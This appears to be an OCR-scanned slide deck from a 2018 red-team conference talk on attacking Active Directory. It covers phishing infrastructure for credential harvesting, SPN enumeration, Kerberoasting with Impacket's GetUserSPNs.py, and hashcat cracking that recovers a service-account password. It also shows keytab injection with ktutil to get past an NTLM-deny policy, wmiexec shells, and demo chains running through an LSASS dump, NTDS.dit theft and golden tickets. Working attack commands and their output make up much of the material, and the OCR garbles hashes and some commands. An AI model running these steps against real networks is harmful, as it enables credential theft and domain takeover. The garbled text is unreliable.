AGENDA

Phishing Creds & Password Reuse

Introduction to AD Reconnaissance

Windows Service Account background ( SPNS)
Fun With Windows Service Accounts

Windows Delegation & Built-In Windows Tools
Why | don’t like NTLM Hash ( Kerberos Only)
Playing with Kerberos Authentication

Improvise



* Recon & Identify target services e.g. Office 365 ©

Build replicate templates ( html/css/javascrip , PHP & code execution)

GoDaddy >> Go Phishing Service Provider

Lets encrypt (SSL Cert)

Build Mail Server (SPF, DKIM, DMARC)

Third Party Mail Service ( Instant reputation )

2FA ?

11/15/2018 2



Service Principal Names (SPNS) are used in Active Directory to tie service
into Kerberos authentication

We can use SPN to identify running services on Active Directory domain

SPN can be queried through Linux LDAP command line or SPN.exe on
windows

Ldapsearch — LLL—x -H Idap://cryotiambient.com —D
ambientuser@cryotoambient.com” —-W —-b
“dc=lab,dc=cryotoambient,dc=com” “servicePrincipalName=*"
sAMAaccountName servicePrincipalName

Windows ( setspn.exe —Q */*)


mailto:ambientuser@cryotoambient.com

* Anyone with basic domain credential can request TGS for a SPN

* E.g. Access to Remote desktop Protocol (RDP) use TGT to request TGS for
TERMSRV/Secureserver

* TGS ticket encrypted with the service account NTLM password hash

* TGS Igar; be cracked offline to extract clear text password (Hashcat, John
cracker

* For aservice account its very common (legacy) to set SPNs to a user
account e.g. domain admin, administrator

* Welcome to KERBEROASTING ( Found and presented by Tim Median)

11/15/2018 4



 Basic valid domain user account

Identify SPN(s) tied to a user account ( LDAP, Setspn.exe)

Request a Ticket Granting Service for list of SPNs

Offline crack the TGS ticket to recover service account’s

Python GetUserSPNs.py —request cryotoambient.com/ambienuser:Password123



Impacket & TGS Request

GetUserSPNs.py —request —dc-ip cryotoambient.com/ambientuser

root@Nebu: /opt/opt/Read-Teaming/impacket/examples# python GetUserSPNs.py -request -dc-ip 192.168.1.101 cryotoambient.com/ambientuser
Impacket v0.9.16-dev - Copyright 2002-2018 Core Security Technologies

Password:
ServicePrincipalName PasswordLastSet LastLogon

IIS 003/DESKTOP-BO1BONL.cryotoambient.com:80 IIS 003 2018-10-10 18:13:01 <never=
IIS 002/AMYTIS-PC.cryotoambient.com:80 IIS 002 CN=Remote Desktop Users,CN=Builtin,DC=cryotoambient,DC=com 2018-16-11 ©9:54:19 2018-10-11 13:05:14

$krb5tgs$23$+IIS @03$CRYOTOAMBIENT.COM$IIS 003/DESKTOP-BO1BONI.cryotoambient.com~80+$ec83ddlade27a3ecadbld1d692b265783e7aal998749cdd66b2c133d0737¢c186cTdBb5e72
17246f9681aa4fc3936e319bfde188cB8a362972d9606b454870189dbfbc40905e2¢c757dbb5143d880e9d89deb05e37018414b8d8873476179185b8957a63F62ed2b4fd4fdca3el2e455379ae641ed8
e5cab617628614905¢3776275a8b2970934210805725abbad01d90d579660ca58al5244e00cd1d84e8d72380105a503467T246944188c73c4602a16d5066238999d7cd51708c564ed8a3dbe87ed40a
9fc05b6074883027Fde2f1b6dcf64897c5726444a5bc1297b75¢510137dd61c964ed81744c302a4c24c6T59763d3e2a4e7753376Tdceb92d6374bebaccdad72d803099bbbel4effan7113e31042821
Tal5d76d879664972fcd71815099ebbee6dcda2b0fbbbbad586300b9fc4cfBd7dIcd5462d8db3T4b169ec8024db9298b8BbecIe32f6c78426b15869T3d7d461debeadd207488cc6b81649078%ae92f
a24308deebcade44666cc958ed71ce76c9e94119c8288d845a3c4cf2a25e22666e9418874d4f5f6a6544c349dcfe5ad51b49d116245¢al943116581711008bTed995db84b44d008alodco02c5eal69
800df7861047bf4ddd88felf57deed67073a37430c6TTh89d5734b5b79965340Tb4444971d33b81b0a6911175187e07f2e9d80ade78T2acaa4870961b4c45d41fad711d96e398ab97fd15ade833cle
3df2d320e2a34ala70b89abad2c9ad8ebb3439b543227bhede88ad1a2983dc7bc2decc4d9627b2cab74c05b258af0be583b906886T7dd4458efIb2a4d622411795b98b4 550354 fa8cT2dfd5a55987¢
38c2572e208781e19f7¢c6d7T7b958a2c73275a4e137fc9d36al013cfflad14c79674a8cb5223b26T51b538128fedaceh81a7370056816aaff16949e0cd2955562368e7087e03e29663b2c3a8272¢3e

O0AIARFR I~ AdBaIIIEER-raah03adIRA00RAE A ,2a03aaRA0E023aA00RAA0aARsTEFalAshTATOETAAIEAAGIAAROFEOIARIOr0afidhaf 72 0dhhERsOFhTAAYI IR A0DQART1TOREAOTINRaaORFAARRADAA

Hashcat —m 13100 —force /jopt/tgtresponses.txt rockyou.txt

pPs on suppLlying more work, : nashcat.net/Tagq/morewor

Approaching final keyspace - workload adjusted.

$krb5tgs$23$+IIS 002$CRYOTOAMBIENT.COM$IIS 002/AMYTIS-PC.cryotoambient.com~80+$331lae59dle47812e8dabfeec6d7d26a7$11884a6a4e5a06103baad62a7830fc99ff6e19253 Fa72f
a9dac0560664a4b5bcb4c21c7a66dadlchbeeabe873128461d14a2a3aalef0454Td8bd00e86ccI5elb768d7e37939cd4a8la5a8568144ae9ab2bed0fofec557086a3114035cabcl32be60bTelf58537
bd568ba31b31003ddba6d84d968763e5baf68dob22e67a11d528545e2753T285688alcdc5852918583d4a674efa601aad492dbcB093eT435d3aba42d8445c2c392adea70fe331182a19e780298fF0T45
13987ec50ad91c838bc8190590bd75d23a8cc395T6e45d5c24eab7637086e9e8aaadc8830036308231cd5ca230b05145ee4ce9fc112855d0e3d1c153b418365987670acl5732d5a08Te5e07738ee66
55d974f31a34c95eebf40045499dbla4d400f2eac9562681a756e38ce2bd57e8423b0793552348d7d695905799348Tbc4920b9a3d9aeB896483cb3b84142b1607bbc0593807472083b07929a4de4388
96fde882c541fc14be379b78c94d4013a03bat464T71b69df6a9c06466a8e78d2bdbddc434ded0c391a81c0e34940523747a0b4365Th878eb485a3T1c8Taa8d546dbe3b1773765557faa2cec5a7b39
6T33ff99dc3131a8eb50087f7do6ch4T65ac0cT83540d58ce226719fcb19947c5c564740fff7b0d8acc250c2d5330d2caal605T502091436a8924373dc8c2cbh565cT3f8ed09a0856Td6c797755d672
7f5b2c2b3e22dc992f3b84a919daB5e4d9c22190799d4e9ca4911937921e425054b4cbdd141d6d966e85c6944cb314fccaaz2bddeelf16fbabb77e8097ec05b2595b68ddc07fb79a3ba3e9caclle2s
affaceb5e@819b6040aca74b46cle622bbd9279695187d5db57eelc6fdfade5e7cb515cbcae86040513T8577741c2b89bdd788c352c@fcc4b11084387848255eb9cBa638baaz9e9878T868ab45eded
73d73642aeeabb8463b3a5501d04c54b7ef80c126932Tf847711abT33d162b8c43b75bal748f521ffafldd3baf2ebat5e7cbhb5ad8b5966c703685d9d91b2e8ea7200cdSdeaced75ca7787a87T8cBe60
7b3a15al107dd81b36478e699017391ecl175T8ab6T4dbaffded48a7bfcd30c6ddd94ec595a25ecadbeeac3b471104a5510573b1d3374318c4421bd468a9b538d900fd23dcleadsfc76096420T84Tb55
48d79d11e3d4f82e65719dTaec5dcfadsd21bcbl1087098db77a24f55abaf82cd98bad4cc23164557d9b85de5938472cle7d36db6ffac894c15bad4do6Tb2bl13d45f1cB6e5d3ba71a50e89b7b32T14012
d4db244e81a421bc695419442cd4a56b82Tc84b19dd3d68atf5a2e2215d58T8017740288ac97b9296e03c09b9560a913eddadfd6dc11177c2T04965b1le6152debl15767b285a7T4ffc49cd236e2a841
92e00fc276a8bdbb38ebc3Pecad4d4ce7e443c79a4752cadl8bde2ccPa8ba75TaP018eac0d86736117aef: ComplexPasswordl2$$

Coucoouoood EEEETR
taesue o s de e s EXhEUSTEED
wevev...: Kerberos 5 TGS-REP etype 23
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No more Pth Pass The Hash....

e Scenario: dropped on a network with network security: Restrict NTLM
authentication in this domain (Deny all)

* Sorry mate NTLM is dead here ©

» Secure environment

e Challenge / Response Authentication Over RPC

* Kali tools no longer work, MSF, CrackMeExec ® ®®®® &

g 1 =1 e L= ma 1=
:—-_.I Securiby Settings Folicy | Security Setking ﬂ
+ | g Account Policies Mebwork security: Restrick MTLM: Audit Incoming MTLM Traffic Mok Defined
= [ g Local Palicies Metwark security: Reskrick MTLM: Audit MTLM authentication in this domain - Mot Defined
+ | g Audit Policy Mebwork security: Reskrick MTLM: Incorning MTLM Eraffic Mok Defined
g User Blghts .|.5.55|gnment Metwark security: Reskrick MTLM: MTLM authentication in this domain Deny all
& CEERIRRERE oS Mebwaork security: Reskrick MTLM: Oukgaoing MTLM traffic o remote servers  Allow all
F | Windows Firewall with Advanced Security . . . )
) o Recovery console: Allow automatic administrative logon Disabled
j Metwork List Manager Policies ) )
- Public kev Policies Recovery console: Allow Floppy copy and access to all drives and all folders  Disabled
. ¥ . - Shutdown: Allow swstem to be shut down without having to log on Disabled
+ || Software Restriction Policies ! ) )
% || Application Cantral Palicies Shutdown: Clear virkual memory pagefile . Dlsableq
5 EJ IP Security Policies on Local Computer Syskem cryprtography: Force strong kE't‘:.-' pru:uteu:t.u:un fFor user kﬂys.stured I"-.If:ut Defined
¥ || Advanced Audit Policy Configuration System crypkographys Use FIPS compliant algorithms For encryption, has,,, Disabled
Swebem nhierts: Remnive Face ineencitiviby For noncitindmimes @nhavstems Friahl=d

root@Nebu: /opt/opt/Read-Teaming/impacket/examples# python wmiexec.py plinux:Passwordl23@amytis
Impacket v©.9.16-dev - Copyright 2082-2018 Core Security Technologies

[-] SMB SessionError: STATUS NOT SUPPORTED(The request is not supported.)
root@Nebu: /opt/opt/Read-Teaming/impacket/examples#




Hound of Hades (Multi-Headed- Dog that guards the Gates of the underworld to
prevent dead from leaving

You can’t escape unless you speak Kerberos ??

In nutshell

A protocol for authentication

Uses ticket to authenticate (TGT/TGS)

Avoids storing password locally

Not authorization protocol 8



Pre-Auth —TimeStamp

KERBEROS TICKET EXCHANGE

KEY DISTRIBUTION
CENTER (KDC)

&

5]

Authartication
Service (AS) Service {TGE)

4
Here is yoar Service Ticket

USER LOGINS . 3
TO GAIN Here is my Service Tichel,
NETWOK Authenticate me
ACCESS [
Chlient'Server Session
-

11/15/2018 9



Kerberos

* We can play Kerberos and forget about NTLM in a none NTLM environment
* Linux can Kerberos using open source Kerberos package (Hemidial-clients)

e Configure KDC, RELAM, DNS, Time /etc/krb5.conf

[libdefaults]
SIS -E10 BECRYOTOAMBIENT . COM

kdc_timesync = 1
ccache type = 4
forwardable = true
proxiable = true

fcc-mit-ticketflags = true

[realms]
CRYOTOAMBIENT.COM = {
kdc = tcp/sec-pri-0l1l.cryotoambient.com

admin server = sec-pri-0l.cryotoambient.com
default domain = sec-pri-Ol.cryotoambient.coml




Kinit, Klist, ktutil

* Kinit - Obtains and renew Ticket granting ticket

* Klist displays entries in local credential cache and key table

e Ktutil command utility to read/write edit entries in keytab or srvtab file in
Kerberos (v4)

root@Nebu: /tmp# ktutil -k szane.keytab add -p szane@CRYOTOAMBIENT.COM -e arcfour-hmac-md5 -V 1
assword:
erify password - Password:

OLIGHELTEAR ML s -1a szane. keytab
MW======= 1 root root 140 Oct 23 10:51 szane.keytab




Ktutll Key Injection

e Ktutil -t k to create a specific Kerberos keytab file

"oot@Nebu: /tmp# ktutil -k szane.keytab add -p szane@CRYOTOAMBIENT.COM -e arcfour-hmac-md5 -V 1
assword:

erify password - Password:

ELGEIELWIEFad 'l s -1la szane. keytab

Vno Type Principal Aliases
1 arcfour-hmac-md5 szane@CRYOTOAMBIENT.COM
1 arcfour-hmac-md5 szane@CRYOTOAMBIENT.COM
root@Nebu: /tmp# ||

i
i

root@Nebu: /tmp#
root@Nebu: /tmp# klist
Credentials cache: FILE:/tmp/krbScc ©
M Il 7 ane@CRYOTOAMBIENT . COM

Issued Xpire Principal
Oct 23 11:87:59 2018 Oct 23 21:07:59 2018 krbtgt/CRYOTOAMBIENT.COM@CRYOTOAMBIENT.COM




Tools with Kerberos

* Impacket Kali tools to use with Kerberos TGT Ticket

oot@Nebu: /tmp#
oot@Nebu:/tmp# smbclient //amytis.cryotoambient.com/IPC$
ry "help" to get a list of possible commands.

kmb: \> help

allinfo altname archive backup
plocksize cancel case sensitive cd chmod
close del deltree dir
echo exit get getfacl
hardlink help history iosize
link lock lowercase ls

mask md mget mkdir

* Wmiexec.py —k —no-pass ambientuser@amytis.cryptoambient.com

root@Nebu: /tmp# wmiexec.py ELSERMUEIEEE ambientuser@amytis.cryotoambient.com
Impacket v0.9.16-dev - Copyright 2002-2018 Core Security Technologies

[*] SMBv2.1 dialect used

[!] Launching semi-interactive shell - Careful what you execute
['] Press help for extra shell commands




* Demo1l

Citrix creds harvesting > initial foothold > Krb roasting > delegation abuse >
LSASS memory dump > Path the hash > Steal NTDS dit & SYSTEM file >
Transfer files to my attacking machine > unpack the Russian Doll (NTDS.dit)

* Demo 2

NTLM Deny All Environment > MIT Kerberos client > Establish Kerberos
ticket > KDC > Generate Golden Ticket > Gain Access to the target server
again.
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